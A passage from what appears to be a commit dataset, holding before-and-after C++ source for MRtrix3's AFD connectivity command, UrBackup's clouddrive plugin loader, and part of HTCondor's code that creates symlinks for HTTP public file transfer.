(fod, dirs, argument[1], wbft_path);\n\n opt = get_options (\"all_fixels\");\n model.set_all_fixels (opt.size());\n\n const value_type connectivity_value = model.get (argument[1]);\n\n \/\/ output the AFD sum using std::cout. This enables output to be redirected to a file without the console output.\n std::cout << connectivity_value << std::endl;\n\n opt = get_options (\"afd_map\");\n if (opt.size())\n model.save (opt[0][0]);\n}\n\n<commit_msg>estiamted -> estimated<commit_after>\/*\n * Copyright (c) 2008-2016 the MRtrix3 contributors\n * \n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n * \n * MRtrix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * \n * For more details, see www.mrtrix.org\n * \n *\/\n\n\n#include \"command.h\"\n#include \"memory.h\"\n#include \"dwi\/fmls.h\"\n#include \"dwi\/tractography\/file.h\"\n#include \"dwi\/tractography\/properties.h\"\n#include \"dwi\/tractography\/mapping\/loader.h\"\n#include \"dwi\/tractography\/mapping\/mapper.h\"\n#include \"dwi\/tractography\/mapping\/mapping.h\"\n#include \"dwi\/tractography\/SIFT\/model_base.h\"\n\n\nusing namespace MR;\nusing namespace MR::DWI;\nusing namespace App;\n\nvoid usage ()\n{\n AUTHOR = \"David Raffelt (david.raffelt@florey.edu.au) and Robert E. Smith (robert.smith@florey.edu.au)\";\n\n DESCRIPTION\n + \"obtain an estimate of fibre connectivity between two regions using AFD and streamlines tractography\"\n\n + \"This estimate is obtained by determining a fibre volume (AFD) occupied by the pathway \"\n \"of interest, and dividing by the streamline length.\"\n\n + \"If only the streamlines belonging to the pathway of interest are provided, then \"\n \"ALL of the fibre volume within each fixel selected will contribute to the result. \"\n \"If the -wbft option is used to provide whole-brain fibre-tracking (of which the pathway of \"\n \"interest should contain a subset), only the fraction of the fibre volume in each fixel \"\n \"estimated to belong to the pathway of interest will contribute to the result.\"\n\n + \"Use -quiet to suppress progress messages and output fibre connectivity value only.\"\n\n + \"For valid comparisons of AFD connectivity across scans, images MUST be intensity \"\n \"normalised and bias field corrected, and a common response function for all subjects \"\n \"must be used.\"\n\n + \"Note that the sum of the AFD is normalised by streamline length to \"\n \"account for subject differences in fibre bundle length. This normalisation results in a measure \"\n \"that is more related to the cross-sectional volume of the tract (and therefore 'connectivity'). \"\n \"Note that SIFT-ed tract count is a superior measure because it is unaffected by tangential yet unrelated \"\n \"fibres. However, AFD connectivity may be used as a substitute when Anatomically Constrained Tractography \"\n \"is not possible due to uncorrectable EPI distortions, and SIFT may therefore not be as effective.\";\n\n\n\n ARGUMENTS\n + Argument (\"image\", \"the input FOD image.\").type_image_in()\n\n + Argument (\"tracks\", \"the input track file defining the bundle of interest.\").type_tracks_in();\n\n OPTIONS\n + Option (\"wbft\", \"provide a whole-brain fibre-tracking data set (of which the input track file \"\n \"should be a subset), to improve the estimate of fibre bundle volume in the \"\n \"presence of partial volume\")\n + Argument (\"tracks\").type_tracks_in()\n\n + Option (\"afd_map\", \"output a 3D image containing the AFD estimated for each voxel.\")\n + Argument (\"image\").type_image_out()\n\n + Option (\"all_fixels\", \"if whole-brain fibre-tracking is NOT provided, then if multiple fixels within \"\n \"a voxel are traversed by the pathway of interest, by default the fixel with the \"\n \"greatest streamlines density is selected to contribute to the AFD in that voxel. \"\n \"If this option is provided, then ALL fixels with non-zero streamlines density \"\n \"will contribute to the result, even if multiple fixels per voxel are selected.\");\n\n}\n\n\ntypedef float value_type;\ntypedef DWI::Tractography::Mapping::SetDixel SetDixel;\ntypedef DWI::Tractography::SIFT::FixelBase FixelBase;\n\n\n\nclass Fixel : public FixelBase\n{\n public:\n Fixel () : FixelBase (), length (0.0) { }\n Fixel (const FMLS::FOD_lobe& lobe) : FixelBase (lobe), length (0.0) { }\n Fixel (const Fixel& that) : FixelBase (that), length (that.length) { }\n\n void add_to_selection (const value_type l) { length += l; }\n value_type get_selected_volume (const value_type l) const { return get_TD() ? (get_FOD() * (l \/ get_TD())) : 0.0; }\n value_type get_selected_volume () const { return get_TD() ? (get_FOD() * (length \/ get_TD())) : 0.0; }\n value_type get_selected_length() const { return length; }\n bool is_selected() const { return length; }\n\n private:\n value_type length;\n\n};\n\n\n\n\nclass AFDConnectivity : public DWI::Tractography::SIFT::ModelBase<Fixel>\n{\n public:\n AFDConnectivity (Image<value_type>& fod_buffer, const DWI::Directions::FastLookupSet& dirs, const std::string& tck_path, const std::string& wbft_path) :\n DWI::Tractography::SIFT::ModelBase<Fixel> (fod_buffer, dirs),\n have_wbft (wbft_path.size()),\n all_fixels (false),\n mapper (fod_buffer, dirs),\n v_fod (fod_buffer)\n {\n if (have_wbft) {\n perform_FOD_segmentation (fod_buffer);\n map_streamlines (wbft_path);\n } else {\n fmls.reset (new DWI::FMLS::Segmenter (dirs, Math::SH::LforN (fod_buffer.size (3))));\n }\n mapper.set_upsample_ratio (DWI::Tractography::Mapping::determine_upsample_ratio (fod_buffer, tck_path, 0.1));\n mapper.set_use_precise_mapping (true);\n }\n\n\n void set_all_fixels (const bool i) { all_fixels = i; }\n\n\n value_type get (const std::string& path);\n void save (const std::string& path);\n\n\n private:\n const bool have_wbft;\n bool all_fixels;\n DWI::Tractography::Mapping::TrackMapperBase mapper;\n Image<value_type> v_fod;\n copy_ptr<DWI::FMLS::Segmenter> fmls;\n\n using Fixel_map<Fixel>::accessor;\n\n};\n\n\n\nvalue_type AFDConnectivity::get (const std::string& path)\n{\n\n Tractography::Properties properties;\n Tractography::Reader<value_type> reader (path, properties);\n const size_t track_count = (properties.find (\"count\") == properties.end() ? 0 : to<size_t>(properties[\"count\"]));\n DWI::Tractography::Mapping::TrackLoader loader (reader, track_count, \"summing apparent fibre density within track\");\n\n \/\/ If WBFT is provided, this is the sum of (volume\/length) across streamlines\n \/\/ Otherwise, it's a sum of lengths of all streamlines (for later scaling by mean streamline length)\n double sum_contributions = 0.0;\n\n size_t count = 0;\n\n Tractography::Streamline<value_type> tck;\n while (loader (tck)) {\n ++count;\n\n SetDixel dixels;\n mapper (tck, dixels);\n double this_length = 0.0, this_volume = 0.0;\n\n for (SetDixel::const_iterator i = dixels.begin(); i != dixels.end(); ++i) {\n this_length += i->get_length();\n\n \/\/ If wbft has not been provided (i.e. FODs have not been pre-segmented), need to\n \/\/ check to see if any data have been provided for this voxel; and if not yet,\n \/\/ run the segmenter\n if (!have_wbft) {\n\n VoxelAccessor v (accessor());\n assign_pos_of (*i, 0, 3).to (v);\n if (!v.value()) {\n\n assign_pos_of (*i, 0, 3).to (v_fod);\n DWI::FMLS::SH_coefs fod_data;\n DWI::FMLS::FOD_lobes fod_lobes;\n\n fod_data.vox[0] = v_fod.index (0); fod_data.vox[1] = v_fod.index (1); fod_data.vox[2] = v_fod.index (2);\n fod_data.resize (v_fod.size (3));\n for (auto i = Loop(3) (v_fod); i; ++i)\n fod_data[v_fod.index (3)] = v_fod.value();\n\n (*fmls) (fod_data, fod_lobes);\n (*this) (fod_lobes);\n\n }\n }\n\n const size_t fixel_index = dixel2fixel (*i);\n Fixel& fixel = fixels[fixel_index];\n fixel.add_to_selection (i->get_length());\n if (have_wbft)\n this_volume += fixel.get_selected_volume (i->get_length());\n\n }\n\n if (have_wbft)\n sum_contributions += (this_volume \/ this_length);\n else\n sum_contributions += this_length;\n\n }\n\n if (!have_wbft) {\n\n \/\/ Streamlines define a fixel mask; go through and get all the fibre volumes\n double sum_volumes = 0.0;\n\n if (all_fixels) {\n\n \/\/ All fixels contribute to the result\n for (std::vector<Fixel>::const_iterator i = fixels.begin(); i != fixels.end(); ++i) {\n if (i->is_selected())\n sum_volumes += i->get_FOD();\n }\n\n } else {\n\n \/\/ Only allow one fixel per voxel to contribute to the result\n VoxelAccessor v (accessor());\n for (auto l = Loop(v) (v); l; ++l) {\n if (v.value()) {\n value_type voxel_afd = 0.0, max_td = 0.0;\n for (Fixel_map<Fixel>::Iterator i = begin (v); i; ++i) {\n if (i().get_selected_length() > max_td) {\n max_td = i().get_selected_length();\n voxel_afd = i().get_FOD();\n }\n }\n sum_volumes += voxel_afd;\n }\n }\n\n }\n\n \/\/ sum_contributions currently stores sum of streamline lengths;\n \/\/ turn into a mean length, then combine with volume to get a connectivity value\n const double mean_length = sum_contributions \/ double(count);\n sum_contributions = sum_volumes \/ mean_length;\n\n }\n\n return sum_contributions;\n\n}\n\n\n\nvoid AFDConnectivity::save (const std::string& path)\n{\n auto out = Image<value_type>::create (path, original_header());\n VoxelAccessor v (accessor());\n for (auto l = Loop(v) (v, out); l; ++l) {\n value_type value = 0.0;\n if (have_wbft) {\n for (Fixel_map<Fixel>::Iterator i = begin (v); i; ++i)\n value += i().get_selected_volume();\n } else if (all_fixels) {\n for (Fixel_map<Fixel>::Iterator i = begin (v); i; ++i)\n value += (i().is_selected() ? i().get_FOD() : 0.0);\n } else {\n value_type max_td = 0.0;\n for (Fixel_map<Fixel>::Iterator i = begin (v); i; ++i) {\n if (i().get_selected_length() > max_td) {\n max_td = i().get_selected_length();\n value = i().get_FOD();\n }\n }\n }\n out.value() = value;\n }\n}\n\n\n\nvoid run ()\n{\n auto opt = get_options (\"wbft\");\n const std::string wbft_path = opt.size() ? str(opt[0][0]) : \"\";\n\n DWI::Directions::FastLookupSet dirs (1281);\n auto fod = Image<value_type>::open (argument[0]);\n Math::SH::check (fod);\n AFDConnectivity model (fod, dirs, argument[1], wbft_path);\n\n opt = get_options (\"all_fixels\");\n model.set_all_fixels (opt.size());\n\n const value_type connectivity_value = model.get (argument[1]);\n\n \/\/ output the AFD sum using std::cout. This enables output to be redirected to a file without the console output.\n std::cout << connectivity_value << std::endl;\n\n opt = get_options (\"afd_map\");\n if (opt.size())\n model.save (opt[0][0]);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\r\n* UrBackup - Client\/Server backup system\r\n* Copyright (C) 2021 Martin Raiber\r\n*\r\n* This program is free software: you can redistribute it and\/or modify\r\n* it under the terms of the GNU Affero General Public License as published by\r\n* the Free Software Foundation, either version 3 of the License, or\r\n* (at your option) any later version.\r\n*\r\n* This program is distributed in the hope that it will be useful,\r\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n* GNU Affero General Public License for more details.\r\n*\r\n* You should have received a copy of the GNU Affero General Public License\r\n* along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n**************************************************************************\/\r\n\r\n#ifdef _WIN32\r\n#define DLLEXPORT extern \"C\" __declspec (dllexport)\r\n#else\r\n#define DLLEXPORT extern \"C\"\r\n#endif\r\n\r\n#ifndef STATIC_PLUGIN\r\n#define DEF_SERVER\r\n#endif\r\n\r\n#include \"..\/Interface\/Server.h\"\r\n#include \"pluginmgr.h\"\r\n#include \"..\/stringtools.h\"\r\n#include \"..\/urbackupcommon\/WalCheckpointThread.h\"\r\n\r\n#include <aws\/core\/utils\/logging\/AWSLogging.h>\r\n#include <aws\/core\/utils\/logging\/FormattedLogSystem.h>\r\n#include <aws\/core\/Aws.h>\r\n\r\n#include \"..\/urbackupcommon\/os_functions.h\"\r\n\r\n#ifndef STATIC_PLUGIN\r\nIServer* Server;\r\n#else\r\n#include \"..\/StaticPluginRegistration.h\"\r\n\r\nextern IServer* Server;\r\n\r\n#define LoadActions LoadActions_clouddrive\r\n#define UnloadActions UnloadActions_clouddrive\r\n#endif\r\n\r\nvoid init_compress_encrypt_factory();\r\n\r\nbool is_automount_finished()\r\n{\r\n return false;\r\n}\r\n\r\nstd::string getCdInterfacePath()\r\n{\r\n os_create_dir(\"urbackup\/cd\");\r\n return \"urbackup\/cd\";\r\n}\r\n\r\nclass ServerLogging : public Aws::Utils::Logging::FormattedLogSystem\r\n{\r\npublic:\r\n ServerLogging(Aws::Utils::Logging::LogLevel loglevel)\r\n : Aws::Utils::Logging::FormattedLogSystem(loglevel)\r\n {}\r\n\r\n void Flush() {}\r\nprotected:\r\n virtual void ProcessFormattedStatement(Aws::String&& statement)\r\n {\r\n Server->Log(trim(statement.c_str()), LL_INFO);\r\n }\r\n};\r\n\r\nClouddrivePluginMgr* clouddrivepluginmgr;\r\n\r\nDLLEXPORT void LoadActions(IServer* pServer)\r\n{\r\n Server = pServer;\r\n\r\n WalCheckpointThread::init_mutex();\r\n\r\n clouddrivepluginmgr = new ClouddrivePluginMgr;\r\n\r\n init_compress_encrypt_factory();\r\n\r\n Aws::SDKOptions options;\r\n Aws::InitAPI(options);\r\n\r\n Aws::Utils::Logging::InitializeAWSLogging(Aws::MakeShared<ServerLogging>(\"KvStoreBackend\", Aws::Utils::Logging::LogLevel::Warn));\r\n\r\n Server->RegisterPluginThreadsafeModel(clouddrivepluginmgr, \"clouddriveplugin\");\r\n\r\n#ifndef STATIC_PLUGIN\r\n Server->Log(\"Loaded -btrfsplugin- plugin\", LL_INFO);\r\n#endif\r\n}\r\n\r\nDLLEXPORT void UnloadActions(void)\r\n{\r\n if (Server->getServerParameter(\"leak_check\") == \"true\")\r\n {\r\n Aws::SDKOptions options;\r\n Aws::ShutdownAPI(options);\r\n }\r\n}\r\n\r\n#ifdef STATIC_PLUGIN\r\nnamespace\r\n{\r\n static RegisterPluginHelper register_plugin(LoadActions, UnloadActions, 10);\r\n}\r\n#endif<commit_msg>Fix initialization<commit_after>\/*************************************************************************\r\n* UrBackup - Client\/Server backup system\r\n* Copyright (C) 2021 Martin Raiber\r\n*\r\n* This program is free software: you can redistribute it and\/or modify\r\n* it under the terms of the GNU Affero General Public License as published by\r\n* the Free Software Foundation, either version 3 of the License, or\r\n* (at your option) any later version.\r\n*\r\n* This program is distributed in the hope that it will be useful,\r\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n* GNU Affero General Public License for more details.\r\n*\r\n* You should have received a copy of the GNU Affero General Public License\r\n* along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n**************************************************************************\/\r\n\r\n#ifdef _WIN32\r\n#define DLLEXPORT extern \"C\" __declspec (dllexport)\r\n#else\r\n#define DLLEXPORT extern \"C\"\r\n#endif\r\n\r\n#ifndef STATIC_PLUGIN\r\n#define DEF_SERVER\r\n#endif\r\n\r\n#include \"..\/Interface\/Server.h\"\r\n#include \"pluginmgr.h\"\r\n#include \"..\/stringtools.h\"\r\n#include \"..\/urbackupcommon\/WalCheckpointThread.h\"\r\n\r\n#include <aws\/core\/utils\/logging\/AWSLogging.h>\r\n#include <aws\/core\/utils\/logging\/FormattedLogSystem.h>\r\n#include <aws\/core\/Aws.h>\r\n\r\n#include \"..\/urbackupcommon\/os_functions.h\"\r\n\r\n#ifndef STATIC_PLUGIN\r\nIServer* Server;\r\n#else\r\n#include \"..\/StaticPluginRegistration.h\"\r\n\r\nextern IServer* Server;\r\n\r\n#define LoadActions LoadActions_clouddrive\r\n#define UnloadActions UnloadActions_clouddrive\r\n#endif\r\n\r\n#include \"KvStoreBackendS3.h\"\r\n\r\nvoid init_compress_encrypt_factory();\r\n\r\nbool is_automount_finished()\r\n{\r\n return false;\r\n}\r\n\r\nstd::string getCdInterfacePath()\r\n{\r\n os_create_dir(\"urbackup\/cd\");\r\n return \"urbackup\/cd\";\r\n}\r\n\r\nclass ServerLogging : public Aws::Utils::Logging::FormattedLogSystem\r\n{\r\npublic:\r\n ServerLogging(Aws::Utils::Logging::LogLevel loglevel)\r\n : Aws::Utils::Logging::FormattedLogSystem(loglevel)\r\n {}\r\n\r\n void Flush() {}\r\nprotected:\r\n virtual void ProcessFormattedStatement(Aws::String&& statement)\r\n {\r\n Server->Log(trim(statement.c_str()), LL_INFO);\r\n }\r\n};\r\n\r\nClouddrivePluginMgr* clouddrivepluginmgr;\r\n\r\nDLLEXPORT void LoadActions(IServer* pServer)\r\n{\r\n Server = pServer;\r\n\r\n WalCheckpointThread::init_mutex();\r\n KvStoreBackendS3::init_mutex();\r\n\r\n clouddrivepluginmgr = new ClouddrivePluginMgr;\r\n\r\n init_compress_encrypt_factory();\r\n\r\n Aws::SDKOptions options = {};\r\n Aws::InitAPI(options);\r\n\r\n Aws::Utils::Logging::InitializeAWSLogging(Aws::MakeShared<ServerLogging>(\"KvStoreBackend\", Aws::Utils::Logging::LogLevel::Warn));\r\n\r\n Server->RegisterPluginThreadsafeModel(clouddrivepluginmgr, \"clouddriveplugin\");\r\n\r\n#ifndef STATIC_PLUGIN\r\n Server->Log(\"Loaded -btrfsplugin- plugin\", LL_INFO);\r\n#endif\r\n}\r\n\r\nDLLEXPORT void UnloadActions(void)\r\n{\r\n if (Server->getServerParameter(\"leak_check\") == \"true\")\r\n {\r\n Aws::SDKOptions options;\r\n Aws::ShutdownAPI(options);\r\n }\r\n}\r\n\r\n#ifdef STATIC_PLUGIN\r\nnamespace\r\n{\r\n static RegisterPluginHelper register_plugin(LoadActions, UnloadActions, 10);\r\n}\r\n#endif<|endoftext|>"} {"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2015, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.\tYou may\n * obtain a copy of the License at\n * \n *\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n#include \"condor_common.h\"\n#include \"condor_attributes.h\"\n#include \"condor_classad.h\"\n#include \"condor_config.h\"\n#include \"condor_constants.h\"\n#include \"condor_uid.h\"\n#include \"condor_md.h\"\n#include \"directory_util.h\"\n#include \"filename_tools.h\"\n#include \"stat_wrapper.h\"\n#include <string> \n\n#ifndef WIN32\n\t#include <unistd.h>\n#endif\n\n#ifdef HAVE_HTTP_PUBLIC_FILES\n\nusing namespace std;\n\nnamespace {\t\/\/ Anonymous namespace to limit scope of names to this file\n\t\nconst int HASHNAMELEN = 17;\n\n\nstatic string MakeHashName(const char* fileName, time_t fileModifiedTime) {\n\n\tunsigned char hashResult[HASHNAMELEN * 3]; \/\/ Allocate extra space for safety.\n\n\t\/\/ Convert the modified time to a string object\n\tstd::string modifiedTimeStr = std::to_string((long long int) fileModifiedTime);\n\n\t\/\/ Create a new string which will be the source for our hash function.\n\t\/\/ This will append two strings:\n\t\/\/ 1. Full path to the file\n\t\/\/ 2. Modified time of the file\n\tunsigned char* hashSource = new unsigned char[strlen(fileName) \n\t\t\t\t\t\t\t\t\t+ strlen(modifiedTimeStr.c_str()) + 1];\n\tstrcpy( (char*) hashSource, fileName );\n\tstrcat( (char*) hashSource, modifiedTimeStr.c_str() );\n\n\t\/\/ Now calculate the hash\n\tmemcpy(hashResult, Condor_MD_MAC::computeOnce(hashSource,\n\t\tstrlen((const char*) hashSource)), HASHNAMELEN);\n\tchar entryHashName[HASHNAMELEN * 2]; \/\/ 2 chars per hex byte\n\tentryHashName[0] = '\\0';\n\tchar letter[3];\n\tfor (int i = 0; i < HASHNAMELEN - 1; ++i) {\n\t\tsprintf(letter, \"%x\", hashResult[i]);\n\t\tstrcat(entryHashName, letter);\n\t}\n\n\treturn entryHashName;\n}\n\n\n\/\/ WARNING! This code changes priv state. Be very careful if modifying it.\n\/\/ Do not return in the block of code where the priv has been set to either\n\/\/ condor or root. -zmiller\nstatic bool MakeLink(const char* srcFile, const string &newLink) {\n\tstd::string webRootDir;\n\tparam(webRootDir, \"HTTP_PUBLIC_FILES_ROOT_DIR\");\n\tif(webRootDir.empty()) {\n\t\tdprintf(D_ALWAYS, \"mk_cache_links.cpp: HTTP_PUBLIC_FILES_ROOT_DIR \"\n\t\t\t\t\t\t\"not set! Falling back to regular file transfer\\n\");\n\t\treturn (false);\n\t}\n\tchar goodPath[PATH_MAX];\n\tif (realpath(webRootDir.c_str(), goodPath) == NULL) {\n\t\tdprintf(D_ALWAYS, \"mk_cache_links.cpp: HTTP_PUBLIC_FILES_ROOT_DIR \"\n\t\t\t\"not a valid path: %s. Falling back to regular file transfer.\\n\",\n\t\t\twebRootDir.c_str());\n\t\treturn (false);\n\t}\n\tStatWrapper fileMode;\n\tbool fileOK = false;\n\tif (fileMode.Stat(srcFile) == 0) {\n\t\tconst StatStructType *statrec = fileMode.GetBuf();\n\t\tif (statrec != NULL)\n\t\t\tfileOK = (statrec->st_mode & S_IROTH); \/\/ Verify readable by all\n\t}\n\tif (fileOK == false) {\n\t\tdprintf(D_ALWAYS,\n\t\t\t\"Cannot transfer -- public input file not world readable: %s\\n\", srcFile);\n\t\treturn (false);\n\t}\n\n\n\t\/\/ see how we should create the link. There are a few options.\n\t\/\/ 1) As the condor user.\n\t\/\/ 2) As root, and then chown to the user.\n\t\/\/ 3) As root, and then chown to some other user (like \"httpd\")\n\tstd::string link_owner;\n\tparam(link_owner, \"HTTP_PUBLIC_FILES_USER\");\n\n\tuid_t link_uid = -1;\n\tgid_t link_gid = -1;\n\tbool create_as_root = false;\n\n\tpriv_state priv = PRIV_UNKNOWN;\n\n\tif (strcasecmp(link_owner.c_str(), \"<user>\") == 0) {\n\t\t\/\/ we'll do everything in user priv except use root\n\t\t\/\/ to create and chown the link\n\n\t\tlink_uid = get_user_uid();\n\t\tlink_gid = get_user_gid();\n\t\tcreate_as_root = true;\n\t\tpriv = set_user_priv();\n\t} else if (strcasecmp(link_owner.c_str(), \"<condor>\") == 0) {\n\t\t\/\/ in this case we do everything as the condor user since they\n\t\t\/\/ own the directory\n\n\t\tpriv = set_condor_priv();\n\t} else {\n\t\t\/\/ in this case we need to determine what uid they requested\n\t\t\/\/ and then do everything as that user. we set root priv and\n\t\t\/\/ then temporarily assume the uid and gid of the specified\n\t\t\/\/ user.\n\n\t\t\/\/ has to be a username and not just a uid, since otherwise it\n\t\t\/\/ isn't clear what gid we should use (if they aren't in the passwd\n\t\t\/\/ file, for instance) and we also save on lookups.\n\t\tbool isname = pcache()->get_user_ids(link_owner.c_str(), link_uid, link_gid);\n\t\tif (!isname) {\n\t\t\tdprintf(D_ALWAYS, \"ERROR: unable to look up HTTP_PUBLIC_FILES_USER (%s)\"\n\t\t\t\t\" in \/etc\/passwd.\\n\", link_owner.c_str());\n\n\t\t\t\/\/ we ARE allowed to return here because we have not\n\t\t\t\/\/ yet switched priv state in this case.\n\t\t\treturn false;\n\t\t}\n\n\t\tif (link_uid == 0 || link_gid == 0) {\n\t\t\tdprintf(D_ALWAYS, \"ERROR: HTTP_PUBLIC_FILES_USER (%s)\"\n\t\t\t\t\" in \/etc\/passwd has UID 0. Aborting.\\n\", link_owner.c_str());\n\n\t\t\t\/\/ we ARE allowed to return here because we have not\n\t\t\t\/\/ yet switched priv state in this case.\n\t\t\treturn false;\n\t\t}\n\n\n\t\t\/\/ now become the specified user for this operation.\n\t\tpriv = set_root_priv();\n\t\tif (setegid(link_gid)) {}\n\t\tif (seteuid(link_uid)) {}\n\t}\n\n\n\t\/\/ STARTING HERE, DO NOT RETURN FROM THIS FUNCTION WITHOUT RESETTING\n\t\/\/ THE ORIGINAL PRIV STATE.\n\n\t\/\/ we will now create or update the link\n\tconst char *const targetLink = dircat(goodPath, newLink.c_str()); \/\/ needs to be freed\n\tbool retVal = false;\n\tif (targetLink != NULL) {\n\t\t\/\/ Check if target already exists\n\t\tif (fileMode.Stat(targetLink, StatWrapper::STATOP_LSTAT) == 0) { \n\t\t\t\/\/ Good enough if link exists, ok if update fails\n\t\t\tretVal = true;\n\n\t\t\t\/\/ It is assumed that existing link points to srcFile.\n\t\t\t\/\/\n\t\t\t\/\/ I don't like this assumption. I think we need to\n\t\t\t\/\/ add username or uid to filename to prevent\n\t\t\t\/\/ accidents\/mischeif when two users happen to us the\n\t\t\t\/\/ same file. If user A then deletes or modifies the\n\t\t\t\/\/ file, user B is stuck with a link they probably\n\t\t\t\/\/ can't update. To be fixed ASAP. -zmiller\n\t\t\tconst StatStructType *statrec = fileMode.GetBuf();\n\t\t\tif (statrec != NULL) {\n\t\t\t\ttime_t filemtime = statrec->st_mtime;\n\t\t\t\t\/\/ Must be careful to operate on link, not target file.\n\t\t\t\t\/\/\n\t\t\t\t\/\/ This should be done AS THE OWNER OF THE FILE.\n\t\t\t\tif ((time(NULL) - filemtime) > 3600 && lutimes(targetLink, NULL) != 0) {\n\t\t\t\t\t\/\/ Update mod time, but only once an hour to avoid excess file access\n\t\t\t\t\tdprintf(D_ALWAYS, \"Could not update modification date on %s,\"\n\t\t\t\t\t\t\"error = %s\\n\", targetLink, strerror(errno));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdprintf(D_ALWAYS, \"Could not stat file %s\\n\", targetLink);\n\t\t\t}\n\t\t} else {\n\t\t\t\/\/ now create the link. we may need to do this as root and chown\n\t\t\t\/\/ it, depending on the create_as_root flag. if that's false, just\n\t\t\t\/\/ stay in the priv state we are in for creation and there's no need\n\t\t\t\/\/ to chown.\n\n\t\t\tpriv_state link_priv = PRIV_UNKNOWN;\n\t\t\tif (create_as_root) {\n\t\t\t\tlink_priv = set_root_priv();\n\t\t\t}\n\n\t\t\tif (symlink(srcFile, targetLink) == 0) {\n\t\t\t\t\/\/ so far, so good!\n\t\t\t\tretVal = true;\n\t\t\t} else {\n\t\t\t\tdprintf(D_ALWAYS, \"Could not link %s to %s, error = %s\\n\", srcFile,\n\t\t\t\t\ttargetLink, strerror(errno));\n\t\t\t}\n\n\t\t\tif (create_as_root) {\n\t\t\t\t\/\/ if we succesfully created the link, now chown to the user\n\t\t\t\tif (retVal && lchown(targetLink, link_uid, link_gid) != 0) {\n\t\t\t\t\t\/\/ chown didn't actually succeed, so this operation is now a failure.\n\t\t\t\t\tretVal = false;\n\n\t\t\t\t\t\/\/ destroy the evidence?\n\t\t\t\t\tunlink(targetLink);\n\n\t\t\t\t\tdprintf(D_ALWAYS, \"Could not change ownership of %s to %i:%i, error = %s\\n\",\n\t\t\t\t\t\ttargetLink, link_uid, link_gid, strerror(errno));\n\t\t\t\t}\n\n\t\t\t\t\/\/ either way, reset priv state\n\t\t\t\tset_priv(link_priv);\n\t\t\t}\n\t\t}\n\n\t\tdelete [] targetLink;\n\t}\n\n\t\/\/ return to original privilege level, and exit\n\tset_priv(priv);\n\n\treturn retVal;\n}\n\nstatic string MakeAbsolutePath(const char* path, const char* initialWorkingDir) {\n\tif (is_relative_to_cwd(path)) {\n\t\tstring fullPath = initialWorkingDir;\n\t\tfullPath += DIR_DELIM_CHAR;\n\t\tfullPath += path;\n\t\treturn (fullPath);\n\t}\n\treturn (path);\n}\n\n} \/\/ end namespace\n\nvoid ProcessCachedInpFiles(ClassAd *const Ad, StringList *const InputFiles,\n\tStringList &PubInpFiles) {\n\n\tchar *initialWorkingDir = NULL;\n\tconst char *path;\n\tMyString remap;\n\tstruct stat fileStat;\n\ttime_t fileModifiedTime = time(NULL);\n\n\tif (PubInpFiles.isEmpty() == false) {\n\t\tconst char *webServerAddress = param(\"HTTP_PUBLIC_FILES_ADDRESS\");\n\n\t\t\/\/ If a web server address is not defined, exit quickly. The file\n\t\t\/\/ transfer will go on using the regular CEDAR protocol.\n\t\tif(!webServerAddress) {\n\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: HTTP_PUBLIC_FILES_ADDRESS \"\n\t\t\t\t\t\t\t\"not set! Falling back to regular file transfer\\n\");\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Build out the base URL for public files\n\t\tstring url = \"http:\/\/\";\n\t\turl += webServerAddress; \n\t\turl += \"\/\";\n\n\t\tPubInpFiles.rewind();\n\t\t\n\t\tif (Ad->LookupString(ATTR_JOB_IWD, &initialWorkingDir) != 1) {\n\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: Job ad did not have an \"\n\t\t\t\t\"initialWorkingDir! Falling back to regular file transfer\\n\");\n\t\t\treturn;\n\t\t}\n\t\twhile ((path = PubInpFiles.next()) != NULL) {\n\t\t\t\/\/ Determine the full path of the file to be transferred\n\t\t\tstring fullPath = MakeAbsolutePath(path, initialWorkingDir);\n\n\t\t\t\/\/ Determine the time last modified of the file to be transferred\n\t\t\tif( stat( fullPath.c_str(), &fileStat ) == 0 ) {\n\t\t\t\tstruct timespec fileTime = fileStat.st_mtim;\n\t\t\t\tfileModifiedTime = fileTime.tv_sec;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: Unable to access file \"\n\t\t\t\t\t\"%s. Falling back to regular file transfer\\n\", fullPath.c_str());\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tstring hashName = MakeHashName( fullPath.c_str(), fileModifiedTime );\n\t\t\tif (MakeLink(fullPath.c_str(), hashName)) {\n\t\t\t\tInputFiles->remove(path); \/\/ Remove plain file name from InputFiles\n\t\t\t\tremap += hashName;\n\t\t\t\tremap += \"=\";\n\t\t\t\tremap += basename(path);\n\t\t\t\tremap += \";\";\n\t\t\t\thashName = url + hashName;\n\t\t\t\tconst char *const namePtr = hashName.c_str();\n\t\t\t\tif ( !InputFiles->contains(namePtr) ) {\n\t\t\t\t\tInputFiles->append(namePtr);\n\t\t\t\t\tdprintf(D_FULLDEBUG, \"mk_cache_links.cpp: Adding url to \"\n\t\t\t\t\t\t\t\t\t\t\t\t\"InputFiles: %s\\n\", namePtr);\n\t\t\t\t} \n\t\t\t\telse dprintf(D_FULLDEBUG, \"mk_cache_links.cpp: url already 